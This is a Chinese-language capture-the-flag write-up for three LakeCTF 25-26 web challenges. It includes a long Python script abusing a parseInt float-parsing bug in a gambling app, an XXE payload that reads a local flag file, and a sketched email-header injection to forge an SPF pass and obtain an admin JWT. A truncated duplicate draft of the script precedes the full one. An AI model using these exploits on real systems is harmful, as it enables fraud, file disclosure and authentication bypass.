LakeCTF 25-26

gamblecore

第一次下注 9.9999991,如果中了直接刷新 session 开启下一局,如果没中:
parseInt 的特性:

image-20251212120305462因为 parseInt() 总是将其第一个参数转换为字符串,所以小于 10 的浮点数 -6 以指数符号书写。然后 parseInt() 从浮点数的指数符号中提取整数。
所以这里兑换 9 个硬币得到0.09美元,然后下注10次:0.09,0.9,1,1,1每次都检测自己的余额,如果大于等于10立刻调用接口购买 flag。

预期概率大概是 9%*9% 拿到 flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
import requests
import time
import sys

BASE_URL = "https://chall.polygl0ts.ch:8148"


def get_session():
"""获取新的会话"""
session = requests.Session()
session.timeout = 10
return session


def get_balance(session):
"""获取余额"""
try:
response = session.get(f"{BASE_URL}/api/balance", timeout=5)
if response.status_code == 200:
data = response.json()
coins = float(data.get('coins', 0))
usd = float(data.get('usd', 0))
return coins, usd
except Exception as e:
print(f"获取余额失败: {e}")
return 0.0, 0.0


def gamble(session, currency, amount):
"""下注"""
try:
payload = {'currency': currency, 'amount': amount}
response = session.post(f"{BASE_URL}/api/gamble",
json=payload, timeout=5)
if response.status_code == 200:
return response.json()
elif response.status_code == 400:
return response.json()
except Exception as e:
print(f"下注失败: {e}")
return None


def convert_coins(session, amount):
"""转换硬币为美元"""
try:
payload = {'amount': amount}
response = session.post(f"{BASE_URL}/api/convert",
json=payload, timeout=5)
return response.json()
except Exception as e:
print(f"转换失败: {e}")
return None


def buy_flag(session):
"""购买flag"""
try:
response = session.post(f"{BASE_URL}/api/flag", timeout=5)
if response.status_code == 200:
return response.json()
else:
return response.json()
except Exception as e:
print(f"购买flag失败: {e}")
return None


def smart_gamble_usd(session, initial_usd):
"""智能下注策略"""
current_usd = initial_usd
attempts = 0
max_attempts = 20 # 最大尝试次数

while current_usd < 10.0 and attempts < max_attempts:
attempts += 1

# 根据当前余额决定下注金额
if current_usd < 0.1:
# 如果余额小于0.1,下注全部余额(但至少保留一点点)
bet_amount = max(current_usd * 0.99, 0.000001)
elif current_usd < 1.0:
# 如果余额在0.1-1之间,下注0.09(这样赢了能得到0.9)
bet_amount = 0.09
else:
# 如果余额在1-10之间,下注当前余额的大部分
bet_amount = min(current_usd * 0.9, 1.0)

# 确保下注金额不超过当前余额
bet_amount = min(bet_amount, current_usd * 0.99)


import requests
import re
import time
import sys
import math

BASE_URL = "https://chall.polygl0ts.ch:8148"


def get_session():
"""获取新的会话"""
session = requests.Session()
# 设置超时
session.timeout = 10
return session


def get_balance(session):
"""获取余额"""
try:
response = session.get(f"{BASE_URL}/api/balance", timeout=5)
if response.status_code == 200:
data = response.json()
coins = float(data.get('coins', 0))
usd = float(data.get('usd', 0))
return coins, usd
except Exception as e:
print(f"获取余额失败: {e}")
return 0.0, 0.0


def gamble(session, currency, amount):
"""下注"""
try:
# 确保金额是浮点数
if isinstance(amount, str):
amount = float(amount)

payload = {'currency': currency, 'amount': amount}
response = session.post(f"{BASE_URL}/api/gamble",
json=payload, timeout=5)
if response.status_code == 200:
return response.json()
elif response.status_code == 400:
data = response.json()
print(f"下注失败: {data.get('error', 'Unknown error')}")
return data
except Exception as e:
print(f"下注失败: {e}")
return None


def convert_coins(session, amount):
"""转换硬币为美元"""
try:
# 注意:这里amount应该是整数或可以被parseInt解析为整数的字符串
payload = {'amount': amount}
response = session.post(f"{BASE_URL}/api/convert",
json=payload, timeout=5)
return response.json()
except Exception as e:
print(f"转换失败: {e}")
return None


def buy_flag(session):
"""购买flag"""
try:
response = session.post(f"{BASE_URL}/api/flag", timeout=5)
if response.status_code == 200:
return response.json()
else:
data = response.json()
print(f"购买flag失败: {data.get('error', 'Unknown error')}")
return data
except Exception as e:
print(f"购买flag失败: {e}")
return None


def exploit():
print("开始攻击...")
attempt_count = 0

while True:
attempt_count += 1
print(f"\n{'=' * 60}")
print(f"尝试 #{attempt_count}")
print(f"{'=' * 60}")

# 创建新会话
session = get_session()

try:
# 第一步:获取初始余额
coins, usd = get_balance(session)
print(f"初始余额: {coins:.15f} coins, ${usd:.2f} USD")

# 第二步:第一次下注 - 下注9.9999991微硬币
bet_amount = 0.0000099999991 # 9.9999991e-6 coins
print(f"第一步:下注 {bet_amount:.15f} coins ({bet_amount * 1e6:.6f} 微硬币)")

result = gamble(session, 'coins', bet_amount)

if not result:
print("下注请求失败,重新开始...")
continue

if result.get('win'):
print(f"恭喜!第一次就赢了!赢得: {result.get('winnings', 0)} coins")
print(f"新余额: {result.get('new_balance', 0)} coins")
# 刷新会话重新开始(虽然赢了,但需要更多美元)
print("刷新会话重新开始...")
continue
else:
print("第一步:输了(符合预期)")
print(f"输掉: {bet_amount:.15f} coins")

# 第三步:获取输后的余额
coins_after_loss, usd_after_loss = get_balance(session)
print(f"输后余额: {coins_after_loss:.15f} coins")
print(f"注意:现在有 {coins_after_loss:.15e} coins,这是关键!")

# 第四步:兑换硬币 - 利用parseInt漏洞
# coins_after_loss大约是 9e-13,parseInt会将其解析为9
print(f"第二步:尝试兑换 9 个硬币(利用parseInt漏洞)")
convert_result = convert_coins(session, 9)

if convert_result:
if convert_result.get('success'):
print(f"兑换成功!: {convert_result.get('message', '')}")
# 注意:根据题目逻辑,我们实际上只兑换了9个硬币,而不是全部余额
else:
print(f"兑换失败: {convert_result.get('error', 'Unknown error')}")
# 继续尝试,可能余额不足
continue
else:
print("兑换请求失败")
continue

# 第五步:获取兑换后的余额
coins_after_convert, usd_after_convert = get_balance(session)
print(f"兑换后余额: {coins_after_convert:.15f} coins, ${usd_after_convert:.6f} USD")

# 第六步:用美元下注
print("第三步:用美元下注积累到$10+")
bets = [0.09, 0.8, 1, 1, 1, 1, 1] # 下注策略

current_usd = usd_after_convert
bet_index = 0
max_bets = len(bets)

while current_usd < 10.0 and bet_index < max_bets:
bet_amount = bets[bet_index]
bet_index += 1

# 检查余额是否足够下注
if current_usd < bet_amount:
print(f"余额不足下注 ${bet_amount},跳过...")
continue

print(f" 下注 ${bet_amount:.2f} (当前余额: ${current_usd:.6f})")

result = gamble(session, 'usd', bet_amount)
if not result:
print(" 下注请求失败")
continue

if result.get('win'):
winnings = float(result.get('winnings', 0))
print(f" 赢了!赢得: ${winnings:.2f}")
else:
print(f" 输了...")

# 获取最新余额
_, current_usd = get_balance(session)
print(f" 当前USD余额: ${current_usd:.6f}")

time.sleep(0.3) # 避免请求过快

# 第七步:检查是否达到$10并购买flag
print(f"\n第四步:检查余额 (${current_usd:.6f})")
if current_usd >= 10.0:
print(f"余额足够!尝试购买flag...")
flag_result = buy_flag(session)

if flag_result and 'flag' in flag_result:
print(f"\n{'=' * 60}")
print(f"🎉 成功获取flag: {flag_result['flag']}")
print(f"{'=' * 60}")
return flag_result['flag']
else:
print(f"购买flag失败,继续尝试...")
else:
print(f"余额不足 (${current_usd:.6f} < $10),重新开始...")

except KeyboardInterrupt:
raise
except Exception as e:
print(f"会话过程中出错: {e}")
import traceback
traceback.print_exc()

finally:
# 每次尝试后稍微等待
time.sleep(1)


def main():
print("=" * 60)
print("硬币赌博机漏洞利用脚本")
print("漏洞:parseInt(9.999999e-6) = 9")
print("=" * 60)

try:
flag = exploit()
if flag:
print(f"\n攻击完成!总共获取到flag: {flag}")
else:
print("未能获取flag")
except KeyboardInterrupt:
print("\n用户中断")
except Exception as e:
print(f"发生错误: {e}")
import traceback
traceback.print_exc()


if __name__ == "__main__":
main()

Le Canard du Lac

RSS 订阅处可以解析标准 RSS 格式的 XML,直接打 XXE:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<rss version="2.0">
<channel>
<title>Test Feed</title>
<description>&xxe;</description>
</channel>
</rss>

MagicAuth

这题打不通,云一下思路。

python:

image-20251215235748205

Go:

image-20251215235833328

具有解析差异:python解析空格而GO不会。

image-20251216000231079

1
Received : 1.3.3.7 #发信 IP 伪造

image-20251216000616774

mta:接收邮件并转发校验

smtp2http:SPF校验来源IP并交给web处理

web:JWT生成和校验

首先向MTA发送包含注入字段 Received : 1.3.3.7 的SMTP邮件,邮件经 MTA 转发至 smtp2http 服务。smtp2http 读取到伪造的IP地址1.3.3.7,使SPF校验通过,随后自动从环境变量中填入正确TOKEN,并构造HTTP请求发送给Web后端。Web后端验证Token正确且SPF为Pass后,认证成功,向攻击者下发Admin JWT。

然后得到 JWT 之后验证之后访问 /flag 拿到flag。